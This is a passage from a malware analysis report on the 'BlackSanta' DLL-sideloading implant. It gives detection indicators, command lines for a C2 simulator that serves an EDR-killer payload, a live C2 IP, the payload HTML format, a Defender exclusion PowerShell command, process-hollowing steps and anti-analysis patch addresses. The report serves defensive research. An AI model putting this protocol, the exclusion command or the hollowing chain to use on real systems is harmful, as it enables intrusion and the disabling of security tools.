<pre id="pre">tags within HTML (text/html; charset=windows-1251) - Server headers:
nginx/1.24.0 (Ubuntu)withX-AspNet-Version: 4.0.30319(unusual combination)
16.3 Behavioral Detection
- DLL sideloading:
DWrite.dllloaded from a non-System32 directory - Window hiding:
ShowWindow(SW_HIDE)on the parent application window immediately after DLL load - PPID spoofing: Non-standard child processes under
winlogon.exe - Process hollowing sequence:
CreateProcess(SUSPENDED)→VirtualAllocEx→WriteProcessMemory→SetThreadContext→NtResumeThread - Multiple scheduled tasks created under
Microsoft\Windows\MemoryDiagnostic\in rapid succession - Defender exclusion via PowerShell:
Set-MpPreference -ExclusionExtension *.dls, *.sys - Security process enumeration:
CreateToolhelp32Snapshot+ process name matching against EDR/AV blacklist - Registry modification:
MyAppStatusREG_DWORD marker under Run key +DPATHenvironment variable created in sequence
17. C2 Simulator
A Python-based C2 simulator was developed for dynamic analysis. It implements the full C2 protocol confirmed through combined static and dynamic analysis, including process hollowing payload delivery validated end-to-end.
# HTTPS listener with real AES key (requires cert/key for self-signed HTTPS)
python3 blacksanta_c2_simulator.py --port 443 --host <LISTEN_IP> \
--ssl-cert c2_cert.pem --ssl-key c2_key.pem
# Serve BlackSanta EDR-killer payload for process hollowing
python3 blacksanta_c2_simulator.py --port 443 --host <LISTEN_IP> \
--ssl-cert c2_cert.pem --ssl-key c2_key.pem \
--payload blacksanta_edr_killer.bin -v
# Interactive mode - manually send commands to the implant
python3 blacksanta_c2_simulator.py --port 443 --host <LISTEN_IP> \
--ssl-cert c2_cert.pem --ssl-key c2_key.pem --interactive
The simulator:
- HTTPS on port 443/8443 with permissive TLS settings for WinInet compatibility (
TLSv1minimum,SECLEVEL=0ciphers) - Serves the real AES key/IV as plain text on initial beacon (Content-Length: 97,
text/plain; charset=windows-1251) - Payload delivery via
<pre id="pre">BASE64_ENCODED_PE</pre>in HTML — matches the exact format the malware’s base64 decoder expects (14-char offset after<pre) - Non-admin path support: serves PE payload on
GET /settings.aspxwhendbseckeyis present withoutactionparameter - GET body parsing: handles the malware’s unusual pattern of sending GET requests with HTTP body content
- Handles
action=ping(beacon),action=log(anti-analysis telemetry), andaction=getbackup - Tracks implant sessions, parses Base64-encoded OS fingerprints
- Supports interactive command injection (
install,update,start,delete,getbackup) - Mimics real C2 server headers (
nginx/1.24.0,X-AspNet-Version: 4.0.30319,X-Powered-By: ASP.NET) - Routes all confirmed endpoints:
login.aspx,settings.aspx,main.aspx,company.aspx,contacts.aspx,blog.aspx,about.aspx,download.aspx,upload.aspx - Validates PE header (MZ signature) before serving payloads
Payload Response Format
All non-beacon responses wrap data in HTML with <pre id="pre"> tags. The malware’s mw_c2_http_request function searches for <pre and advances exactly 14 characters to reach the data, which matches <pre id="pre"> (14 chars). The data between the tags is base64-encoded and decoded by sub_180007D40 (a custom base64 decoder).
HTTP/1.1 200 OK
Content-Type: text/html; charset=windows-1251
Server: nginx/1.24.0 (Ubuntu)
X-AspNet-Version: 4.0.30319
X-Powered-By: ASP.NET
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN">
<html><head><title>Download Global Main Company LLC.</title></head>
<body><form id="form1" accept-charset="utf-8"><div id="Panel1">
<pre id="pre">TVqQAAMAAAAEAAAA//8AALgA... (base64-encoded PE)</pre>
</div></form></body></html>
Dynamic Analysis Setup
- Generate self-signed cert:
openssl req -x509 -newkey rsa:2048 -keyout c2_key.pem -out c2_cert.pem -days 365 -nodes -subj '/CN=157.250.202.215' - On the analysis VM, redirect C2 IP
157.250.202.215to the C2 simulator host using a port proxy or hosts file entry - Start the C2 simulator with HTTPS enabled and optionally serve the EDR-killer payload
- In x64dbg, load DWrite.dll via rundll32:
init "C:\Windows\System32\rundll32.exe", "\"path\to\DWrite.dll\",DWriteCreateFactory" - At DllEntry breakpoint, patch the 7 anti-analysis conditional jumps in
mw_main_orchestratorwith NOPs (90) to bypass all environment checks. Also runHideDebuggerto bypassIsDebuggerPresent - Continue execution — the malware will beacon to
login.aspx, receive the AES key, pass anti-analysis, download PE fromsettings.aspx, and attempt process hollowing
Confirmed C2 Flow (Non-Admin Path, Dynamically Validated)

Figure 17a: C2 simulator panel showing a live beacon from the BlackSanta implant running on an analysis VM. The initial
action=ping&mod=loadbeacon delivers the OS fingerprint (Windows 10 Pro 21H2), and the C2 responds with the AES-256-CBC key/IV. Anti-analysis telemetry reports follow — the malware detected VMware (SMBIOS + adapter) and Wireshark but continued execution because the anti-analysis exit paths were NOP-patched in x64dbg.

18. Dynamic Analysis Findings Summary
Key findings confirmed through x64dbg dynamic analysis (2026-03-13):
18.1 C2 Protocol Corrections
| Finding | Static Guess | Dynamic Confirmation |
|---|---|---|
| C2 transport | HTTP (port 80) | HTTPS (port 443) — InternetConnectA port = 0x1BB |
| Initial beacon endpoint | settings.aspx |
login.aspx — decrypted at runtime |
| Beacon OS fingerprint | 5 pipe-delimited fields | 3 fields: OSVersion\|Hostname\|Username (Base64-encoded) |
| Key/IV response format | HTML with <pre> tags |
Plain text — text/plain; charset=windows-1251 |
| Anti-analysis telemetry | action=ping&mod=<tag> |
action=log&data=<base64> — separate action type |
| Encrypted string count | 173+ (estimated) | 69 confirmed in .rdata (77 decrypt call sites, some strings reused) |
| AES key correctness | Unknown | Verified — all 69 strings decrypt to readable text |
18.2 Process Hollowing (Non-Admin Path) — End-to-End Validated
The complete non-admin execution path was validated dynamically with x64dbg breakpoints and a C2 simulator:
| Step | Detail | Evidence |
|---|---|---|
| 1. Beacon | POST /login.aspx with action=ping&mod=load |
C2 log: request received, key/IV sent |
| 2. Key exchange | C2 responds with KEY_HEX\|IV_HEX (97 bytes, plain text) |
Malware stores key at g_aes256_key (0x180075D00) |
| 3. Anti-analysis | 16 functions patched with 31 C0 C3 + __report_gsfailure patched with C3 |
All checks bypassed, no action=log telemetry sent |
| 4. PE download | GET /settings.aspx with dbseckey in body (no action param) |
C2 log: “Payload download request on settings.aspx (non-admin path)” |
| 5. Response parsing | Malware searches for <pre tag, advances 14 chars, base64-decodes content |
Response format: <pre id="pre">BASE64_PE</pre> (14-char tag) |
| 6. Stage confirmation | POST /login.aspx with action=ping&mod=mod4 |
C2 log: “Module beacon: mod=mod4” |
| 7. Process hollowing | mw_process_hollow_with_random_sleep (0x180006C80) called |
Breakpoint hit, registers inspected |
| 7a. PE payload | RCX → msvc_string*: data ptr → valid MZ header, size = 459,776 bytes |
Matches blacksanta_edr_killer.bin exactly |
| 7b. Command line | RDX → msvc_string*: " 157.250.202.215" (C2 IP) |
Passed to hollowed process as argument |
Key discovery: Variant 2 (not Variant 1) on non-admin path. The non-admin path uses mw_process_hollow_with_random_sleep (0x180006C80) — the simpler variant without PPID spoofing to winlogon.exe. This makes sense because without admin privileges, the malware cannot acquire a handle to winlogon.exe. Only the admin-path download endpoints (download.aspx/download1.aspx) use mw_process_hollow_into_winlogon_child (0x1800065F0) via mw_download_and_hollow_via_endpoint1/endpoint2.
18.3 Anti-Analysis Bypass Reference
16 functions require patching (not 7 or 14 as previously stated). Complete list with addresses:
| Address | Function | Category |
|---|---|---|
0x180003C30 |
mw_check_file_attributes_vm |
Anti-VM |
0x18000BEE0 |
mw_check_debugger_via_ntquery_peb |
Anti-Debug |
0x18000F310 |
mw_anti_debug_gate_with_edr_check |
Anti-Debug + EDR |
0x180011030 |
mw_anti_analysis_check_desktop_file_count |
Anti-Sandbox |
0x180011CE0 |
mw_check_physical_memory_gb |
Anti-VM |
0x180012600 |
mw_detect_vm_via_display_adapter |
Anti-VM |
0x180014060 |
mw_anti_analysis_check_vm_artifacts |
Anti-VM |
0x180015CC0 |
mw_check_process_running_by_encrypted_name |
Anti-Analysis |
0x180015FD0 |
mw_check_analysis_tool_running |
Anti-Analysis |
0x180016270 |
mw_anti_analysis_check_environment |
Anti-Sandbox |
0x180017790 |
mw_detect_vm_via_smbios_firmware |
Anti-VM |
0x1800194A0 |
mw_anti_analysis_check_disk_artifacts |
Anti-Analysis |
0x18001A1C0 |
mw_anti_analysis_check_russian_locale |
CIS Safeguard |
0x18001B340 |
mw_anti_sandbox_check_hostname_username |
Anti-Sandbox |
0x180006350 |
mw_check_admin_elevation_and_hosts |
Privilege Check |
0x18000BB10 |
mw_check_hvci_enabled |
HVCI Detection |
Additional patches:
0x18003D280(__report_gsfailure) →C3(ret) — prevents stack cookie crash- x64dbg
HideDebuggercommand — patches PEBBeingDebuggedflag and related fields
Patch method: At each function start, assemble xor eax, eax (2 bytes: 31 C0) followed by ret (1 byte: C3). This makes each function return 0 immediately, causing all anti-analysis checks to report “not detected”.
Figure 13: Example of the
31 C0 C3bypass patch applied tomw_anti_debug_gate_with_edr_check(0x18000F310). Thexor eax,eaxfollowed byretat the function entry causes an immediate return of 0 (“not detected”), skipping the original function body visible below.
